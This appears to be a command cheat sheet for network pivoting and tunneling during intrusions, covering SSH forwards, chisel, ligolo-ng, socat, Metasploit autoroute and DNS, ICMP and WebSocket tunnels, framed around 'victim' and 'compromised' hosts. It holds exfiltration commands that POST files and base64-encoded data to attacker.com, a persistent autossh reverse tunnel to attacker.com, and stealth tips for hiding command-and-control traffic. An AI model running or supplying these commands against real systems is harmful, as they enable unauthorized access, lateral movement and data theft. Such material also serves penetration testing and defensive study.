% tunnels, ssh, pivoting, portforward, proxy, lateral-movement # ============================================================================ # SSH TUNNELING & PORT FORWARDING # ============================================================================ # SSH local port forward (access internal service through jump host) ssh -L :: @ # SSH local port forward example: Access internal web server ssh -L 8080:internal-web.corp.local:80 user@jump.example.com # Then browse to: http://localhost:8080 # SSH remote port forward (expose local service to remote) ssh -R :: @ # SSH remote port forward example: Expose local web server remotely ssh -R 9090:localhost:80 user@attacker.com # Remote users can now access: http://attacker.com:9090 # SSH dynamic SOCKS proxy (route all traffic through jump host) ssh -D @ # SSH dynamic SOCKS example ssh -D 1080 user@jump.example.com # Configure browser/apps to use SOCKS5 proxy: localhost:1080 # SSH with ProxyJump (bastion/jump host) ssh -J @ @ # SSH multiple ProxyJumps (chain through multiple hosts) ssh -J @,@ @ # SSH tunnel background (-f = fork, -N = no command) ssh -fN -L :: @ # SSH reverse tunnel (callback from compromised host) ssh -fN -R :localhost:22 @ # SSH with keep-alive (prevent timeout) ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3 @ # SSH tunnel with specific identity file ssh -i -L :: @ # SSH tunnel through multiple hops ssh -L 8080:final-target:80 -J jump1,jump2 user@jump3 # ============================================================================ # CHISEL - Fast TCP/UDP Tunnel Over HTTP # ============================================================================ # Chisel server (on attacker machine) chisel server -p --reverse # Chisel server with authentication chisel server -p --reverse --auth : # Chisel server example (listen on 8080) chisel server -p 8080 --reverse # Chisel client reverse SOCKS (victim → attacker) chisel client : R:socks # Chisel client reverse SOCKS on custom port chisel client : R:1080:socks # Chisel client reverse SOCKS example chisel client 192.168.1.50:8080 R:socks # Attacker can now use SOCKS5 proxy on localhost:1080 # Chisel client reverse port forward chisel client : R::: # Chisel reverse port forward example (expose internal RDP) chisel client 192.168.1.50:8080 R:3389:10.0.0.10:3389 # Attacker can now: rdesktop localhost:3389 # Chisel client local forward (attacker → victim) chisel client : :: # Chisel with authentication chisel client --auth : : R:socks # Chisel multiple tunnels chisel client : R:1080:socks R:3389:10.0.0.10:3389 # Chisel over HTTPS (encrypted) chisel server -p 443 --reverse --tls-key server.key --tls-cert server.crt chisel client https://:443 R:socks # Chisel with keep-alive chisel client --keepalive 25s : R:socks # ============================================================================ # LIGOLO-NG - Advanced Tunneling Tool # ============================================================================ # Ligolo-ng proxy (on attacker machine) ./ligolo-proxy -selfcert # Ligolo-ng proxy with specific interface ./ligolo-proxy -selfcert -laddr 0.0.0.0:11601 # Ligolo-ng agent (on victim/compromised machine) ./ligolo-agent -connect :11601 -ignore-cert # Ligolo-ng agent with retry ./ligolo-agent -connect :11601 -ignore-cert -retry # Ligolo-ng agent example ./ligolo-agent -connect 192.168.1.50:11601 -ignore-cert # After agent connects, in ligolo-proxy console: # 1. Select session: session # 2. Add route: route_add --name --route # 3. Start tunnel: start # Example ligolo-proxy commands: # List sessions: session # Select session 1: session 1 # Add route: route_add --name internal --route 10.0.0.0/24 # Start tunnel: start # Stop tunnel: stop # Ligolo-ng with TUN interface (better routing) # On attacker (requires TUN): sudo ip tuntap add user mode tun ligolo # Then: sudo ip link set ligolo up # In proxy: start --tun ligolo # Socat port forward socat TCP-LISTEN:,fork TCP:: # Socat file transfer # Receiver: socat TCP-LISTEN:,fork file:,create # Sender: socat TCP:: file: # Netcat relay nc -lvp | nc # Proxychains with nmap proxychains nmap -sT -Pn # Proxychains any command proxychains # Edit proxychains config # /etc/proxychains4.conf # socks5 127.0.0.1 1080 # WireGuard - generate keys wg genkey | tee privatekey | wg pubkey > publickey # WireGuard - quick up wg-quick up # WireGuard - quick down wg-quick down # WireGuard - show status wg show # sshuttle - VPN over SSH sshuttle -r @ # sshuttle - all traffic sshuttle -r @ 0/0 # Metasploit portfwd # portfwd add -l -p -r # Meterpreter autoroute # run autoroute -s # plink (Windows SSH) plink.exe -L :: @ # netsh port forward (Windows) netsh interface portproxy add v4tov4 listenport= listenaddress=0.0.0.0 connectport= connectaddress= # netsh show forwards netsh interface portproxy show all # netsh delete forward netsh interface portproxy delete v4tov4 listenport= listenaddress=0.0.0.0 $ local_port: echo "8080" $ target_host: echo "" $ target_port: echo "80" $ user: echo "" $ jump_host: echo "" $ remote_host: echo "" $ remote_port: echo "9999" $ local_host: echo "127.0.0.1" $ socks_port: echo "1080" $ host: echo "" $ attacker_ip: echo "" $ attacker_host: echo "" $ port: echo "8080" $ server_ip: echo "" $ network_cidr: echo "10.0.0.0/24" $ interface: echo "wg0" $ output_file: echo "received_file" $ input_file: find . -type f 2>/dev/null | head -5 # ============================================================================ # ADVANCED PIVOTING TECHNIQUES # ============================================================================ # Double pivot (compromised host → internal network → deeper internal network) # On compromised host 1: ssh -D 1080 user@internal-host # On attacker: proxychains ssh -D 9050 user@compromised-host-1 # Chain: Attacker → 1080 (comp1) → 9050 (internal) → deep internal # SSH tunneling with ProxyCommand # ~/.ssh/config: # Host internal-server # ProxyCommand ssh jump-host -W %h:%p # User admin # Dynamic port forwarding with netsh (Windows) netsh interface portproxy add v4tov4 listenport= connectaddress= connectport= # HTTP tunneling with reGeorg python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.aspx # DNS tunneling with iodine # Server: iodined -f -c -P 10.0.0.1 tunnel.example.com # Client: iodine -f -P tunnel.example.com # ICMP tunneling with ptunnel # Server: ptunnel # Client: ptunnel -p -lp -da -dp # Metasploit autoroute for pivoting # In meterpreter: # run autoroute -s 10.0.0.0/24 # background # use auxiliary/server/socks_proxy # set SRVPORT 1080 # run -j # Metasploit port forwarding # In meterpreter: # portfwd add -l 3389 -p 3389 -r 10.0.0.10 # Now RDP to localhost:3389 # ============================================================================ # EXFILTRATION OVER TUNNELS # ============================================================================ # Exfil over DNS (dnscat2) # Server: dnscat2-server tunnel.example.com # Client: dnscat2 tunnel.example.com # Exfil over HTTPS with curl curl -X POST -H "Content-Type: application/octet-stream" --data-binary @ https://attacker.com/upload # Exfil with base64 encoding over HTTP cat | base64 | curl -X POST -d @- https://attacker.com/data # ============================================================================ # REVERSE TUNNELING SCENARIOS # ============================================================================ # Scenario: Victim behind NAT, attacker has public IP # Attacker runs: ssh -R 9999:localhost:22 user@victim-accessible-host # Victim connects back, opening tunnel for attacker to SSH in # Reverse SSH tunnel for web server # Victim: ssh -R 8080:localhost:80 user@attacker.com # Attacker accesses: http://localhost:8080 # Persistent reverse tunnel with autossh autossh -M 0 -f -N -R 9999:localhost:22 user@attacker.com # ============================================================================ # OBFUSCATION & STEALTH # ============================================================================ # SSH over HTTP (using corkscrew through HTTP proxy) ssh -o "ProxyCommand corkscrew %h %p" user@target # Encrypted DNS tunnel (DNS-over-HTTPS) # Use DoH to tunnel C2 traffic # WebSocket tunneling (wstunnel) # Server: wstunnel -s 0.0.0.0:8080 # Client: wstunnel -t 127.0.0.1:1080 ws://:8080 # TLS/SSL tunneling with stunnel # stunnel.conf: # [https] # client = yes # accept = 127.0.0.1:8080 # connect = target.com:443 # ============================================================================ # KILL TUNNELS / CLEANUP # ============================================================================ # Kill all SSH tunnels ps aux | grep 'ssh -' | grep -v grep | awk '{print $2}' | xargs kill # Kill specific port forward lsof -ti:8080 | xargs kill -9 # Remove netsh portproxy (Windows) netsh interface portproxy reset # Check active SSH tunnels ps aux | grep ssh | grep -E '(-L|-R|-D)'